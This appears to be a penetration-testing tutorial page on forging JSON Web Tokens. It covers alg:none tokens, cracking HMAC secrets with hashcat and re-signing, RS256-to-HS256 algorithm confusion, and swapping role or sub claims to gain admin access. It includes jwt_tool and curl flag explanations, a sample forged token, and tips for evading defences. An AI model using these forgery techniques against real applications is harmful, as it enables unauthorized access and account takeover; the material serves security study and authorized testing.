JWT Exploitation
JWT exploitation forges tokens with modified claims (elevated roles, different user IDs, or admin flags) by exploiting weaknesses identified in JWT vulnerability testing. The goal is accepting a forged token that grants higher access than the original. Before forging, decode the original token and map every claim. The payload often contains role, sub, admin, user_id, or group fields. Know which claims the application uses for access control before choosing an attack path.
JWT token forgery exploitation techniques covered here:
- None algorithm forgery to strip the signature entirely
- Weak secret cracking with hashcat and resigning with the recovered key
- Algorithm confusion (RS256 to HS256) using the public key as HMAC secret
- User ID and role claim modification for privilege escalation
JWT Token Forgery via None Algorithm
Create a token with alg:none and no signature. Modify the payload to escalate privileges before encoding. The forged token has two dots and no third segment. That absent signature is the attack. Send it in the Authorization header and observe the response. A 200 with elevated data confirms the server accepted the unsigned token. A 401 or 403 means the library rejects alg:none. Some libraries block only the exact lowercase string none. Try None, NONE, and mixed-case variants if the first attempt fails. jwt_tool generates all case variations automatically with -X a.
[+] Tampered JWT: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.
Explain command
| $TOKEN | The JWT token to be tested or manipulated. |
| -X a | Exploit mode: 'a' runs the alg:none attack. |
| -pc role | Specifies the payload claim name to target (role). |
| -pv admin | Sets the payload claim value to inject (admin). |
{"status":"ok","admin":true}
Explain command
| $TOKEN | Original JWT token used as input for forgery. |
| -X a | Selects the 'alg:none' attack mode in jwt_tool. |
| -pc role | Specifies the payload claim name to modify. |
| -pv admin | Sets the payload claim value to 'admin'. |
| 2>/dev/null | Suppresses stderr output from jwt_tool. |
| -oP 'eyJ[a-zA-Z0-9._-]+' | Extracts the forged JWT token using Perl regex. |
| -s | Runs curl in silent mode, suppressing progress output. |
| -k | Disables SSL/TLS certificate verification. |
| http://$TARGET_IP:$PORT/api/admin | Target URL with dynamic host and port for the admin endpoint. |
| -H "Authorization: Bearer $FORGED" | Sends the forged JWT as a Bearer token in the auth header. |
Weak Secret: Resign with Cracked Key
After cracking the HMAC secret with hashcat, resign a modified token using the recovered key. The hashcat output format is token:secret. Everything after the colon is the signing secret. If --show returns nothing, the secret is not in rockyou. Try a wordlist built from the application name, the domain, and version strings found during enumeration. A cryptographically random secret of sufficient length cannot be cracked this way. Once you have the secret, jwt_tool resigns the modified payload with a valid HS256 signature. The server accepts the forged token because the signature verifies correctly. With signing control you can modify any claim freely.
eyJhbGci...:secret123
Explain command
| -a 0 | Sets attack mode to dictionary attack. |
| -m 16500 | Sets hash type to JWT (JSON Web Token). |
| $TOKEN | Placeholder for the target JWT hash to crack. |
| /usr/share/wordlists/rockyou.txt | Specifies the wordlist file to use for the attack. |
| --show | Displays previously cracked passwords from the potfile. |
[+] Tampered JWT signed with secret123
Explain command
| $TOKEN | The JWT token string to be processed and modified. |
| -S hs256 | Sign the token using HMAC SHA-256 algorithm. |
| -p 'secret123' | Specify the secret key used for HMAC signing. |
| -pc role | Target the payload claim named 'role' for modification. |
| -pv admin | Set the targeted payload claim value to 'admin'. |
Explain command
| $TOKEN | Original JWT token used as input for forging. |
| -S hs256 | Sign the token using HMAC-SHA256 algorithm. |
| -p 'secret123' | Specify the secret key used for HMAC signing. |
| -pc role | Specify the payload claim name to tamper with. |
| -pv admin | Set the payload claim value to 'admin'. |
| 2>/dev/null | Suppress stderr output by redirecting to null. |
| -oP 'eyJ[a-zA-Z0-9._-]+' | Perl-compatible regex to extract JWT token string from output. |
| -s | Silent mode; suppresses progress and error messages. |
| -k | Allow insecure TLS connections, skipping certificate validation. |
| $TARGET_IP:$PORT | Target host IP and port for the HTTP request. |
| -H "Authorization: Bearer $FORGED" | Send forged JWT as Bearer token in the Authorization header. |
Algorithm Confusion: RS256 to HS256
When the server uses RS256 and the public key is accessible, sign an HS256 token using the public key as the HMAC secret. The server expects RS256 but receives a token claiming HS256. A vulnerable library then verifies the HS256 signature using the public key as the HMAC secret. You sign with that same public key. Signatures match. The JWKS endpoint at /.well-known/jwks.json is the most common source. Also check /api/keys, /jwks, and the application's OAuth metadata URL. If no JWKS endpoint exists, look for a PEM in the application source or documentation. The attack fails when the library enforces a fixed expected algorithm regardless of the token header. PyJWT and jsonwebtoken patched this class of vulnerability in recent major versions. Older deployments and custom validation middleware remain viable targets.
Explain command
| -s | Silent mode; suppresses progress meter and error messages. |
| -k | Allows insecure TLS connections by skipping certificate verification. |
| https://$DOMAIN/.well-known/jwks.json | Target URL using variable $DOMAIN to fetch the JWKS public key set. |
| $TOKEN | The JWT token to be tested or manipulated. |
| -X k | Exploit mode: algorithm confusion attack (RS256 to HS256): signs with the public key as HMAC secret. |
| -pk public.pem | Specifies the public PEM key file to use in the exploit. |
| -pc role | Specifies the payload claim name to tamper with. |
| -pv admin | Sets the target value for the specified payload claim. |
Modify User ID Claim
When the token contains a user ID or sub claim, forge a token with the admin user's ID after discovering it through IDOR testing or user enumeration. User ID 1 is the most common admin identifier. It is typically the first account created. If that fails, try 0, 2, and 3. Some applications use UUIDs in the sub claim rather than integers. Find a valid admin UUID through IDOR or exposed API responses before forging. A successful response returns data belonging to the target account, confirming the server trusts the forged claim without secondary validation. This technique requires a cracked or otherwise known HMAC secret. Without a valid key the forged signature will be rejected.
Explain command
| $TOKEN | The JWT token to be processed or attacked. |
| -S hs256 | Sign the token using HMAC SHA-256 algorithm. |
| -p 'secret123' | Secret key used for signing the token. |
| -pc sub | Specifies the payload claim to tamper with. |
| -pv 1 | Sets the new value for the specified payload claim. |
Explain command
| $TOKEN | Input JWT token variable to be forged/modified. |
| -S hs256 | Sign the token using HMAC SHA-256 algorithm. |
| -p 'secret123' | Specify the secret key used for HS256 signing. |
| -pc sub | Target the 'sub' claim in the JWT payload for modification. |
| -pv 1 | Set the value of the targeted payload claim to '1'. |
| 2>/dev/null | Suppress stderr output by redirecting it to null. |
| grep -oP 'eyJ[a-zA-Z0-9._-]+' | Extract only the JWT token string from jwt_tool output. |
| -s | Silent mode; suppresses curl progress and error output. |
| -k | Allow insecure TLS connections, skipping certificate verification. |
| http://$TARGET_IP:$PORT/api/v1/profile | Target URL using variable host and port for the profile endpoint. |
| -H "Authorization: Bearer $FORGED" | Send the forged JWT as a Bearer token in the Authorization header. |
| -m json.tool | Pretty-print the JSON response using Python's built-in json module. |
When none of these techniques succeed, the application likely enforces algorithm pinning or uses a patched library. Not all endpoints apply the same validation. Check mobile API routes, legacy paths, and password-reset flows. They sometimes use a different token parsing path with weaker controls. Also verify the token is consumed by the endpoint you are targeting. Swap the payload to nonsense values and check whether behavior changes. No change means the token is ignored there. When algorithm confusion fails, confirm the JWKS key matches the key currently active for signing. Key rotation breaks the attack until you fetch the updated key.
References
-
JWT forgery supporting none algorithm, algorithm confusion, and HMAC signing
-
PortSwigger: JWT AttacksTOOL: PortSwigger: JWT Attacks, portswigger.net/web-security/jwt (opens in new tab)
Algorithm confusion, none algorithm, and key confusion exploitation